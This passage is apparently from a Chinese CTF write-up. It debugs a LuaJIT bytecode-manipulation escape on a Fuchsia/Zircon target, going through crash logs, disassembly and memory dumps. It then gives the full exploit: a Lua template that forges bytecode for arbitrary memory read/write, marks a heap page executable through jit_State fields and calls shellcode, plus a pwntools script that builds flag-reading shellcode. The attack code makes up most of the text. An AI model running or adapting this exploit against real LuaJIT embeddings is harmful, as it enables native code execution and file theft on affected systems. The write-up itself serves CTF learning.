        i = i + 1 
        --print(i)
    end

崩溃位置在0x2bd70,此时rdi为`0x4321。

和源码对比之后是可以确认这个函数的:

__int64 __fastcall lj_mcode_free(__int64 a1)
{
  __int64 result; // rax
  _QWORD *v2; // rdi
  _QWORD *v3; // rbx

  result = a1;
  v2 = *(_QWORD **)(a1 + 2448);
  *(_QWORD *)(result + 2448) = 0LL;
  *(_QWORD *)(result + 2480) = 0LL;
  if ( v2 )
  {
    do
    {
      v3 = (_QWORD *)*v2;
      result = mcode_free(v2, v2[1]);
      v2 = v3;
    }
    while ( v3 );
  }
  return result;
}

崩溃位置:

LOAD:000000000002BD70
LOAD:000000000002BD70 loc_2BD70:
LOAD:000000000002BD70 mov     rbx, [rdi] <-- 崩溃,rdi = 0x4321
LOAD:000000000002BD73 mov     rsi, [rdi+8]
LOAD:000000000002BD77 call    mcode_free
LOAD:000000000002BD7C mov     rdi, rbx
LOAD:000000000002BD7F test    rbx, rbx
LOAD:000000000002BD82 jnz     short loc_2BD70

对比原函数:

/* Free all MCode areas. */
void lj_mcode_free(jit_State *J)
{
  MCode *mc = J->mcarea;
  J->mcarea = NULL;
  J->szallmcarea = 0;
  while (mc) {
    MCode *next = ((MCLink *)mc)->next;
    mcode_free(J, mc, ((MCLink *)mc)->size);
    mc = next;
  }
}

static void mcode_free(jit_State *J, void *p, size_t sz)
{
  UNUSED(J); UNUSED(sz);
  VirtualFree(p, 0, MEM_RELEASE);
}

J参数没有用到,似乎被优化掉了,所以只传入了两个参数。更漂亮的是在这里直接得到了mcarea在jit_State中的偏移,这样应该就可以去对比一下了。

gef➤  p (uint64_t)(&((GG_State*)0x40000378).J.mcarea)-(uint64_t)(&((GG_State*)0x40000378).J)
$7 = 0x988

>>> 0x988
2440

而函数里的为2448,看来确实是错位了,虽然不知道是什么原因,这里也解释了为什么原exp无法正常使用了。

这样是不是还原到原exp就可以使用了呢?

运行结果:

[49833.577] 01105.01119> <== general fault, PC at 0x50c8d6669d70
[49833.577] 01105.01119>  CS:                   0 RIP:     0x50c8d6669d70 EFL:              0x286 CR2:                  0
[49833.577] 01105.01119>  RAX:         0xffffffff RBX: 0x9090909090909090 RCX:     0x7e0029445a42 RDX:                  0
[49833.577] 01105.01119>  RSI:                  0 RDI: 0x9090909090909090 RBP:      0x9b703aacc60 RSP:      0x9b703aacc50
[49833.577] 01105.01119>   R8:                  0  R9:                  0 R10:                  0 R11:              0x206
[49833.577] 01105.01119>  R12:         0x10000558 R13:         0x100003b8 R14:

[49833.593] 01105.01119> bt#01: pc 0x50c8d6669d70 sp 0x9b703aacc50 (app:/pkg/bin/frawler,0x2bd70)
[49833.593] 01105.01119> bt#02: pc 0x50c8d66600d4 sp 0x9b703aacc70 (app:/pkg/bin/frawler,0x220d4)
[49833.594] 01105.01119> bt#03: pc 0x50c8d6677b81 sp 0x9b703aaccb0 (app:/pkg/bin/frawler,0x39b81)

真正麻烦的来了,这里访问了无效内存,rdi的值变为了0x909090,明显是我们填入的nop的值,可是为什么nop的值变成了这里的rdi,也就是mcarea?这个时候没有调试器就显得非常难受了,往回追溯一下,上一层调用到lj_mcode_free的位置:

LOAD:00000000000220A1
LOAD:00000000000220A1 loc_220A1:
LOAD:00000000000220A1 mov     word ptr [r13+1F0h], 0
LOAD:00000000000220AB mov     dword ptr [r13+2E0h], 0
LOAD:00000000000220B6 lea     rdi, [r13+870h] ; s
LOAD:00000000000220BD xor     r14d, r14d
LOAD:00000000000220C0 mov     edx, 200h       ; n
LOAD:00000000000220C5 xor     esi, esi        ; c
LOAD:00000000000220C7 call    _memset
LOAD:00000000000220CC mov     rdi, r12 ; <-- r12是没有用到的,但是是作为了`lj_mcode_free` 的参数
LOAD:00000000000220CF call    lj_mcode_free ; <-- 调用到了这里崩溃
LOAD:00000000000220D4 mov     rdi, r12
LOAD:00000000000220D7 call    sub_2BD90

再看寄存器值,r120x10000558,也就是jit_State的地址,但是为什么在传入到mcode_free的时候,mcarea的值不对了呢?我们不是已经设置好mcarea了吗,怎么会变成了nop值?
需要调试方法了。

怎么办?还好我们有任意读写,那么我们可以在触发jit的奇怪逻辑之前,试试看任意读dump出来想要的内容。

local mcarea = mctab[1]
    mctab[0] = 0
    mctab[1] = asaddr / 2^52 / 2^1022
    mctab[2] = mctab[1]
    mctab[3] = mctab[1]
    mctab[4] = 2^12 / 2^52 / 2^1022

    hexdump_print(0x10000558 + 2440, 0x30) -- 注意这里查看量太大会触发jit,所以不能太大

    while mctab[0] == 0 do end
'00 00 00 00 00 00 00 00 00 50 01 10 00 00 00 00 \n'
    '00 50 01 10 00 00 00 00 00 50 01 10 00 00 00 00 \n'
    '00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \n'

与我们期望的一致,那么确认了在进入的时候是没有问题的,只能是在lj_mcode_free的循环中出了问题,

LOAD:000000000002BD70
LOAD:000000000002BD70 loc_2BD70:
LOAD:000000000002BD70 mov     rbx, [rdi]
LOAD:000000000002BD73 mov     rsi, [rdi+8]
LOAD:000000000002BD77 call    mcode_free
LOAD:000000000002BD7C mov     rdi, rbx ; <-- 这里改动了rdi
LOAD:000000000002BD7F test    rbx, rbx
LOAD:000000000002BD82 jnz     short loc_2BD70

对比原函数,这里是由于在找到链表下一个的时候出了问题,看起来链表下一个的位置位于+0offset的位置,因为是直接把rbx取出来的。那么也就是,将0x10015000作为了链表下一个位置,那看看这个地址的内容呢。

'90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
    '90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
    '90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'

果不其然,这里就是我们填充的内容!那么问题的来源就清楚了,其实本质上讲由于我们的跳转是精准的,并不需要nop来slip,那么直接把nop4k的填充内容改为00就解决了,

这么一个小小的问题,导致了这个题卡了我好久。。

另外一个需要注意的小问题是shellcode的问题,寄存器状态和上一种方法已经不同了,我们得重新去找到text段基地址等,不过已经有shellcode执行了,这些都是很小的事情了吧。

exploit

orig_exp.tpl.lua

-- The following function serves as the template for evil.lua.
-- The general outline is to compile this function as-written, dump
-- it to bytecode, manipulate the bytecode a bit, and then save the
-- result as evil.lua.
local evil = function(v)
  -- This is the x86_64 native code which we'll execute. It
  -- is a very benign payload which just prints "Hello World"
  -- and then fixes up some broken state.
    local shellcode =
        {SHELLCODE_TPL}

  -- The dirty work is done by the following "inner" function.
  -- This inner function exists because we require a vararg call
  -- frame on the Lua stack, and for the function associated with
  -- said frame to have certain special upvalues.
  local function inner(...)
    if false then
      -- The following three lines turn into three bytecode
      -- instructions. We munge the bytecode slightly, and then
      -- later reinterpret the instructions as a cdata object,
      -- which will end up being `cdata<const char *>: NULL`.
      -- The `if false` wrapper ensures that the munged bytecode
      -- isn't executed.
      local cdata = -32749
      cdata = 0
      cdata = 0
    end

    -- Through the power of bytecode manipulation, the
    -- following three functions will become (the fast paths of)
    -- string.byte, string.char, and string.sub. This is
    -- possible because LuaJIT has bytecode instructions
    -- corresponding to the fast paths of said functions. Note
    -- that we musn't stray from the fast path (because the
    -- fallback C code won't be wired up). Also note that the
    -- interpreter state will be slightly messed up after
    -- calling one of these functions.
    local function s_byte(s) end
    local function s_char(i, _) end
    local function s_sub(s, i, j) end

    -- The following function does nothing, but calling it will
    -- restore the interpreter state which was messed up following
    -- a call to one of the previous three functions. Because this
    -- function contains a cdata literal, loading it from bytecode
    -- will result in the ffi library being initialised (but not
    -- registered in the global namespace).
    local function resync() return 0LL end

    -- Helper function to reinterpret the first four bytes of a
    -- string as a uint32_t, and return said value as a number.
    local function s_uint32(s)
      local result = 0
      for i = 4, 1, -1 do
        result = result * 256 + s_byte(s_sub(s, i, i))
        resync()
      end
      return result
    end

    -- The following line obtains the address of the GCfuncL
    -- object corresponding to "inner". As written, it just fetches
    -- the 0th upvalue, and does some arithmetic. After some
    -- bytecode manipulation, the 0th upvalue ends up pointing
    -- somewhere very interesting: the frame info TValue containing
    -- func|FRAME_VARG|delta. Because delta is small, this TValue
    -- will end up being a denormalised number, from which we can
    -- easily pull out 32 bits to give us the "func" part.
    local iaddr = (inner * 2^1022 * 2^52) % 2^32

    -- The following five lines read the "pc" field of the GCfuncL
    -- we just obtained. This is done by creating a GCstr object
    -- overlaying the GCfuncL, and then pulling some bytes out of
    -- the string. Bytecode manipulation results in a nice KPRI
    -- instruction which preserves the low 32 bits of the istr
    -- TValue while changing the high 32 bits to specify that the
    -- low 32 bits contain a GCstr*.
    local istr = (iaddr - 4) + 2^52
    istr = -32764 -- Turned into KPRI(str)
    local pc = s_sub(istr, 5, 8)
    istr = resync()
    pc = s_uint32(pc)

    -- The following three lines result in the local variable
    -- called "memory" being `cdata<const char *>: NULL`. We can
    -- subsequently use this variable to read arbitrary memory
    -- (one byte at a time). Note again the KPRI trick to change
    -- the high 32 bits of a TValue. In this case, the low 32 bits
    -- end up pointing to the bytecode instructions at the top of
    -- this function wrapped in `if false`.
    local memory = (pc + 8) + 2^52
    memory = -32758 -- Turned into KPRI(cdata)
    memory = memory + 0

    -- Helper function to read a uint32_t from any memory location.
    local function m_uint32(offs)
      local result = 0
      for i = offs + 3, offs, -1 do
        result = result * 256 + (memory[i] % 256)
      end
      return result
    end

    -- Helper function to extract the low 32 bits of a TValue.
    -- In particular, for TValues containing a GCobj*, this gives
    -- the GCobj* as a uint32_t. Note that the two memory reads
    -- here are GCfuncL::uvptr[1] and GCupval::v.
    local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)
    local function low32(tv)
      v = tv
      return m_uint32(vaddr)
    end

    -- Helper function which is the inverse of s_uint32: given a
    -- 32 bit number, returns a four byte string.
    local function ub4(n)
      local result = ""
      for i = 0, 3 do
        local b = n % 256
        n = (n - b) / 256
        result = result .. s_char(b)
        resync()
      end
      return result
    end

    local function hexdump_print(addr, len)
        local result = ''
        for i = 0, len - 1 do
            if i % 16 == 0 and i ~= 0 then
                result = result .. '\n'
            end
            result = result .. string.format('%02x', memory[addr + i] % 0x100) .. ' '
        end

        print(result)
    end
    -- The following four lines result in the local variable
    -- called "mctab" containing a very special table: the
    -- array part of the table points to the current Lua
    -- universe's jit_State::patchins field. Consequently,
    -- the table's [0] through [4] fields allow access to the
    -- mcprot, mcarea, mctop, mcbot, and szmcarea fields of
    -- the jit_State. Note that LuaJIT allocates the empty
    -- string within global_State, so a fixed offset from the
    -- address of the empty string gives the fields we're
    -- after within jit_State.
    local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(low32("") + 2748)
      .."\0\0\0\0\0\0\0\0\0\0\0\0\5\0\0\0\255\255\255\255"
    local mctab = low32(mctab_s) + 16 + 2^52
    mctab = -32757 -- Turned into KPRI(table)

    -- Construct a string consisting of 4096 x86 NOP instructions.
    --local nop4k = "\144"
    local nop4k = "\0"
    --[[
    local zeros = '\0'
    for i = 1, 12 do
        zeros = zeros .. zeros
    end
    --]]

    for i = 1, 12 do 
        nop4k = nop4k .. nop4k
    end

    -- Create a copy of the shellcode which is page aligned, and
    -- at least one page big, and obtain its address in "asaddr".
    local ashellcode = nop4k .. shellcode .. nop4k
    local asaddr = low32(ashellcode) + 16
    asaddr = asaddr + 2^12 - (asaddr % 2^12)

    --print(asaddr)
    --hexdump_print(0x100779f8, 0x30)
    -- The following seven lines result in the memory protection of
    -- the page at asaddr changing from read/write to read/execute.
    -- This is done by setting the jit_State::mcarea and szmcarea
    -- fields to specify the page in question, setting the mctop and
    -- mcbot fields to an empty subrange of said page, and then
    -- triggering some JIT compilation. As a somewhat unfortunate
    -- side-effect, the page at asaddr is added to the jit_State's
    -- linked-list of mcode areas (the shellcode unlinks it).
    local mcarea = mctab[1]
    mctab[0] = 0
    mctab[1] = asaddr / 2^52 / 2^1022
    mctab[2] = mctab[1]
    mctab[3] = mctab[1]
    mctab[4] = 2^12 / 2^52 / 2^1022


    while mctab[0] == 0 do end


    --[[
    local mcarea = mctab[1]
    --mctab[0] = 0xdeadbeef / 2^52 / 2^1022
    mctab[0] = 0
    mctab[1] = asaddr / 2^52 / 2^1022
    mctab[2] = mctab[1]
    mctab[3] = mctab[1]
    mctab[3] = 0xdeadbeef / 2^52 / 2^1022
    mctab[4] = 2^12 / 2^52 / 2^1022
    --while mctab[0] == 0 do end
    local i = 1
    while i < 0x1000000 do 
        i = i + 1 
        --print(i)
    end
    --]]
    -- The following three lines construct a GCfuncC object
    -- whose lua_CFunction field is set to asaddr. A fixed
    -- offset from the address of the empty string gives us
    -- the global_State::bc_cfunc_int field.
    local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
      ub4(asaddr) .."\0\0\0\0"
    fshellcode = -32760 -- Turned into KPRI(func)

    -- Finally, we invoke the shellcode (and pass it some values
    -- which allow it to remove the page at asaddr from the list
    -- of mcode areas).
    fshellcode(mctab[1], mcarea)
  end
  inner()
end

-- Some helpers for manipulating bytecode:
local ffi = require "ffi"
local bit = require "bit"
local BC = {KSHORT = 41, KPRI = 43}

-- Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)
local buf = ffi.new("uint8_t[?]", #estr+1, estr)
local p = buf + 5

-- Helper function to read a ULEB128 from p:
local function read_uleb128()
  local v = p[0]; p = p + 1
  if v >= 128 then
    local sh = 7; v = v - 128
    repeat
      local r = p[0]
      v = v + bit.lshift(bit.band(r, 127), sh)
      sh = sh + 7
      p = p + 1
    until r < 128
  end
  return v
end

-- The dumped bytecode contains several prototypes: one for "evil"
-- itself, and one for every (transitive) inner function. We step
-- through each prototype in turn, and tweak some of them.
while true do
  local len = read_uleb128()
  if len == 0 then break end
  local pend = p + len
  local flags, numparams, framesize, sizeuv = p[0], p[1], p[2], p[3]
  p = p + 4
  read_uleb128()
  read_uleb128()
  local sizebc = read_uleb128()
  local bc = p
  local uv = ffi.cast("uint16_t*", p + sizebc * 4)
  if numparams == 0 and sizeuv == 3 then
    -- This branch picks out the "inner" function.
    -- The first thing we do is change what the 0th upvalue
    -- points at:
    uv[0] = uv[0] + 2
    -- Then we go through and change everything which was written
    -- as "local_variable = -327XX" in the source to instead be
    -- a KPRI instruction:
    for i = 0, sizebc do
      if bc[0] == BC.KSHORT then
        local rd = ffi.cast("int16_t*", bc)[1]
        if rd <= -32749 then
          bc[0] = BC.KPRI
          bc[3] = 0
          if rd == -32749 then
            -- the `cdata = -32749` line in source also tweaks
            -- the two instructions after it:
            bc[4] = 0
            bc[8] = 0
          end
        end
      end
      bc = bc + 4
    end
  elseif sizebc == 1 then
    -- As written, the s_byte, s_char, and s_sub functions each
    -- contain a single "return" instruction. We replace said
    -- instruction with the corresponding fast-function instruction.
    bc[0] = 147 + numparams
    bc[2] = bit.band(1 + numparams, 6)
  end
  p = pend
end

function string.fromhex(str)
    return (str:gsub('..', function (cc)
        return string.char(tonumber(cc, 16))
    end))
end

function string.tohex(str)
    return (str:gsub('.', function (c)
        return string.format('%02X', string.byte(c))
end))
end

res = string.tohex(ffi.string(buf, #estr))
local f = io.open("../../shellcode.hex", "wb")
f:write(ffi.string(res, #res))
f:close()
--print(res)
--a = loadstring(string.fromhex(res))
--print(a())

gen_shellcode.py

from pwn import *
context(arch='amd64', os='linux')

shellcode = r'''
pop rax
sub rax, 0x71187
mov rbp, rax
add rax, 0x73370
mov rdi, %s
push rdi
mov rdi, %s
push rdi
mov rdi, rsp
push 0
push 114
mov rsi, rsp
call rax
mov rcx, rax
mov rdi, rsp
mov rsi, 100
mov rdx, 100
mov rax, rbp
add rax, 0x733c0
call rax
mov rdi, 1
mov rsi, rsp
mov rdx, 100
mov rax, rbp
add rax, 0x73510
call rax

push 0
ret

'''
print(shellcode)
shellcode = shellcode % (u64('a/flag'.ljust(8, '\x00')), u64('/pkg/dat'))

with open('orig_exp.tpl.lua', 'r') as f:
    content = f.read()
    shellcode_hex = repr(asm(shellcode))
    content = content.replace('{SHELLCODE_TPL}', shellcode_hex)
    with open('orig_exp.lua', 'w') as f:
        f.write(content)

总结

好吧我其实当时调的过程原比现在描述的更加难受。最开始按照bt去还原的时候还没有去调试和看过luajit代码,只是去对照,看的非常费劲还分析错了,以为是zircon内无法使用jit导致的。

看来以后要多注意这个问题,有的背景知识还是需要多去熟悉一下才能够完整掌握。

调代码还是很有趣的,开源真好。还是要不断学习才做的动题目呀。

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